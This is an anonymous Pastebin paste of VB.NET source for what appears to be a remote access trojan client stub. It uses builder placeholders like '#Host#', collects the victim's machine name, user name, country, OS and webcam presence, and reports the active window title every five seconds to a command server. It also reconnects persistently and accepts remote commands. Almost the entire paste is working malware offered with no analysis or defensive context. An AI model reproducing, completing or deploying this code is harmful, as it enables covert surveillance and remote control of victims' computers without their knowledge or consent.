SHARE
TWEET

Untitled

a guest Oct 18th, 2019 99 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Imports System
  2. Imports Microsoft.VisualBasic
  3. Imports System.Reflection
  4. Imports System.Net
  5. Imports System.Net.Sockets
  6. Imports System.Threading
  7. Imports System.IO
  8. Imports System.Runtime.InteropServices
  9. Imports System.Text.RegularExpressions
  10. Imports System.Text
  11. Imports Microsoft.Win32
  12. Imports System.Net.NetworkInformation
  13. Imports Microsoft.VisualBasic.CompilerServices
  14. Imports Microsoft.VisualBasic.Devices
  15. Imports System.Collections.Generic
  16. Imports System.Diagnostics
  17. Imports System.Runtime.CompilerServices
  18. <Assembly: AssemblyTitle("#AssemblyTitle#")>
  19. <Assembly: AssemblyDescription("#AssemblyDescription#")>
  20. <Assembly: AssemblyCompany("#AssemblyCompany#")>
  21. <Assembly: AssemblyProduct("#AssemblyProduct#")>
  22. <Assembly: AssemblyCopyright("#AssemblyCopyright#")>
  23. <Assembly: AssemblyTrademark("#AssemblyTrademark#")>
  24. <Assembly: AssemblyVersion("3.5.2.4")>
  25. <Assembly: AssemblyFileVersion("0.0.0.0")>
  26. Module Module1
  27.     Public h As String = "#Host#"
  28.     Public port As Integer = 4545
  29.     Public Name As String = "#Name#"
  30.     Public Y As String = "/j|n\"
  31.     Public Ver As String = "0.1 BETA"
  32.     Public F As New Microsoft.VisualBasic.Devices.Computer
  33.     Public C As New TCP
  34.     Public Sub main()
  35.         Dim oldwindow As String = ""
  36.         While True
  37.             Thread.CurrentThread.Sleep(5000)
  38.             Dim s = ACT()
  39.             If s <> oldwindow Then
  40.                 oldwindow = s
  41.                 C.Send("!1" & Y & s)
  42.             End If
  43.         End While
  44.     End Sub
  45.     Public Sub IND(ByVal b As Byte())
  46.         Dim A As String() = Split(BS(b), Y)
  47.         Select Case A(0)
  48.             Case "ping"
  49.                 C.Send("ping")
  50.             Case "Close"
  51.                 End
  52.             Case "Restart"
  53.  
  54.                 End
  55.         End Select
  56.     End Sub
  57.     Public Function INF() As String
  58.         Dim x As String = Name & Y
  59.         ' get pc name
  60.         Try
  61.             x &= Environment.MachineName & Y
  62.         Catch ex As Exception
  63.             x &= "??" & Y
  64.         End Try
  65.         ' get User name
  66.         Try
  67.             x &= Environment.UserName & Y
  68.         Catch ex As Exception
  69.             x &= "??" & Y
  70.         End Try
  71.         ' get Country
  72.         x &= Country() & Y
  73.         ' Get OS
  74.         Try
  75.             x += OS()
  76.         Catch ex As Exception
  77.             x += "??" '& Y
  78.         End Try
  79.         x += ""
  80.         Try
  81.             Dim k As String() = Split(Environment.OSVersion.ServicePack, " ")
  82.             If k.Length = 1 Then
  83.                 x &= ""
  84.             End If
  85.             x &= k(k.Length - 1)
  86.         Catch ex As Exception
  87.             x &= ""
  88.         End Try
  89.         Try
  90.             If Environment.GetFolderPath(38).Contains("x86") Then
  91.                 x += " x64" & Y
  92.             Else
  93.                 x += " x86" & Y
  94.             End If
  95.         Catch ex As Exception
  96.             x += Y
  97.         End Try
  98.         ' cam
  99.         If Cam() Then
  100.             x &= "Yes" & Y
  101.         Else
  102.             x &= "No" & Y
  103.         End If
  104.         ' version
  105.         x &= Ver & Y
  106.         ' ping
  107.         x &= "" & Y
  108.         x &= ACT() & Y
  109.         Return x
  110.     End Function
  111.     Function OS() As String
  112.         On Error Resume Next
  113.         Dim OSstring As String = My.Computer.Info.OSFullName
  114.  
  115.         Return My.Computer.Info.OSFullName.Replace("Microsoft ", "")
  116.     End Function
  117.  
  118.     '====================================== Window API
  119.     Public Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr ' Get Active window Handle
  120.     Public Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As IntPtr, ByRef lpdwProcessID As Integer) As Integer
  121.     Public Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hWnd As IntPtr, ByVal WinTitle As String, ByVal MaxLength As Integer) As Integer
  122.     Public Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Integer
  123.     Public Function ACT() As String ' Get Active Window Text
  124.         Try
  125.             Dim h As IntPtr = GetForegroundWindow()
  126.             If h = IntPtr.Zero Then
  127.                 Return ""
  128.             End If
  129.             Dim w As Integer
  130.             w = GetWindowTextLength(h)
  131.             Dim t As String = StrDup(w + 1, "*")
  132.             GetWindowText(h, t, w + 1)
  133.             Dim pid As Integer
  134.             GetWindowThreadProcessId(h, pid)
  135.             If pid = 0 Then
  136.                 Return t
  137.             Else
  138.                 Try
  139.                     Return Diagnostics.Process.GetProcessById(pid).MainWindowTitle()
  140.                 Catch ex As Exception
  141.                     Return t
  142.                 End Try
  143.             End If
  144.         Catch ex As Exception
  145.             Return ""
  146.         End Try
  147.     End Function
  148.     Public Function BS(ByVal b As Byte()) As String ' bytes to String
  149.         Return System.Text.Encoding.Default.GetString(b)
  150.     End Function
  151.     Public Function SB(ByVal s As String) As Byte() ' String to bytes
  152.         Return System.Text.Encoding.Default.GetBytes(s)
  153.     End Function
  154.     Function fx(ByVal b As Byte(), ByVal WRD As String) As Array ' split bytes by word
  155.         Dim a As New List(Of Byte())
  156.         Dim M As New IO.MemoryStream
  157.         Dim MM As New IO.MemoryStream
  158.         Dim T As String() = Split(BS(b), WRD)
  159.         M.Write(b, 0, T(0).Length)
  160.         MM.Write(b, T(0).Length + WRD.Length, b.Length - (T(0).Length + WRD.Length))
  161.         a.Add(M.ToArray)
  162.         a.Add(MM.ToArray)
  163.         M.Dispose()
  164.         MM.Dispose()
  165.         Return a.ToArray
  166.     End Function
  167.     <DllImport("kernel32.dll")> _
  168.     Private Function GetLocaleInfo(ByVal Locale As UInteger, ByVal LCType As UInteger, <Out()> ByVal StrBuilder As System.Text.StringBuilder, ByVal cchData As Integer) As Integer
  169.     End Function
  170.     Private Const LOCALE_SYSTEM_DEFAULT As UInteger = &H400
  171.     Private Const LOCALE_SENGCOUNTRY As UInteger = &H1002
  172.     Private Function GetInfo(ByVal lInfo As UInteger) As String
  173.         On Error Resume Next
  174.         Dim StrBuilder As StringBuilder = New System.Text.StringBuilder(256)
  175.         Dim ret As Integer = GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, lInfo, StrBuilder, StrBuilder.Capacity)
  176.         If ret > 0 Then
  177.             Return StrBuilder.ToString().Substring(0, ret - 1)
  178.         End If
  179.         Return String.Empty
  180.     End Function
  181.     Function Country() As String
  182.         Try
  183.             Dim MyCountry As String = (GetInfo(LOCALE_SENGCOUNTRY))
  184.             Return MyCountry
  185.         Catch ex As Exception
  186.             Return "Unknown country"
  187.         End Try
  188.     End Function
  189.     '=============================== Cam Drivers
  190.     Declare Function capGetDriverDescriptionA Lib "avicap32.dll" (ByVal wDriver As Short, _
  191.     ByVal lpszName As String, ByVal cbName As Integer, ByVal lpszVer As String, _
  192.     ByVal cbVer As Integer) As Boolean
  193.     Public Function Cam() As Boolean
  194.         Try
  195.             Dim d As String = Space(100)
  196.             For i As Integer = 0 To 4
  197.                 If capGetDriverDescriptionA(i, d, 100, Nothing, 100) Then
  198.                     Return True
  199.                 End If
  200.             Next
  201.         Catch ex As Exception
  202.         End Try
  203.         Return False
  204.     End Function
  205. End Module
  206. Public Class TCP
  207.     Public SPL As String = "[endof]"
  208.     Public C As Net.Sockets.TcpClient
  209.     Sub New()
  210.         Dim t As New Threading.Thread(AddressOf RC)
  211.         t.Start()
  212.     End Sub
  213.     Public Sub Send(ByVal b As Byte())
  214.         If CN = False Then Exit Sub
  215.         Try
  216.             Dim r As Object = New IO.MemoryStream
  217.             r.Write(b, 0, b.Length)
  218.             r.Write(SB(SPL), 0, SPL.Length)
  219.             C.Client.Send(r.ToArray, 0, r.Length, Net.Sockets.SocketFlags.None)
  220.             r.Dispose()
  221.         Catch ex As Exception
  222.             CN = False
  223.         End Try
  224.     End Sub
  225.     Public Sub Send(ByVal S As String)
  226.         Send(SB(S))
  227.     End Sub
  228.     Private CN As Boolean = False
  229.     Sub RC()
  230.         Dim M As New IO.MemoryStream ' create memory stream
  231.         Dim lp As Integer = 0
  232. re:
  233.         Try
  234.             If C Is Nothing Then GoTo e
  235.             If C.Client.Connected = False Then GoTo e
  236.             If CN = False Then GoTo e
  237.             lp += 1
  238.             If lp > 500 Then
  239.                 lp = 0
  240.                 ' check if i am still connected
  241.                 If C.Client.Poll(-1, Net.Sockets.SelectMode.SelectRead) And C.Client.Available <= 0 Then GoTo e
  242.             End If
  243.             If C.Available > 0 Then
  244.                 Dim B(C.Available - 1) As Byte
  245.                 C.Client.Receive(B, 0, B.Length, Net.Sockets.SocketFlags.None)
  246.                 M.Write(B, 0, B.Length)
  247. rr:
  248.                 If BS(M.ToArray).Contains(SPL) Then ' split packet..
  249.                     Dim A As Array = fx(M.ToArray, SPL)
  250.                     Dim T As New Thread(AddressOf IND)
  251.                     T.Start(A(0))
  252.                     M.Dispose()
  253.                     M = New IO.MemoryStream
  254.                     If A.Length = 2 Then
  255.                         M.Write(A(1), 0, A(1).length)
  256.                         GoTo rr
  257.                     End If
  258.                 End If
  259.             End If
  260.         Catch ex As Exception
  261.             GoTo e
  262.         End Try
  263.         Threading.Thread.CurrentThread.Sleep(1)
  264.         GoTo re
  265. e:      ' clear things and ReConnect
  266.         CN = False
  267.         Try
  268.             C.Client.Disconnect(False)
  269.         Catch ex As Exception
  270.         End Try
  271.         Try
  272.             M.Dispose()
  273.         Catch ex As Exception
  274.         End Try
  275.         M = New IO.MemoryStream
  276.         Try
  277.             C = New Net.Sockets.TcpClient
  278.             C.ReceiveTimeout = -1
  279.             C.SendTimeout = -1
  280.             C.SendBufferSize = 999999
  281.             C.ReceiveBufferSize = 999999
  282.             C.Client.SendBufferSize = 999999
  283.             C.Client.ReceiveBufferSize = 999999
  284.             lp = 0
  285.             C.Client.Connect(h, port)
  286.             CN = True
  287.             Send("!0" & Y & INF()) ' Send My INFO after connect
  288.         Catch ex As Exception
  289.             Threading.Thread.CurrentThread.Sleep(2500)
  290.             GoTo e
  291.         End Try
  292.         GoTo re
  293.     End Sub
  294. End Class
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top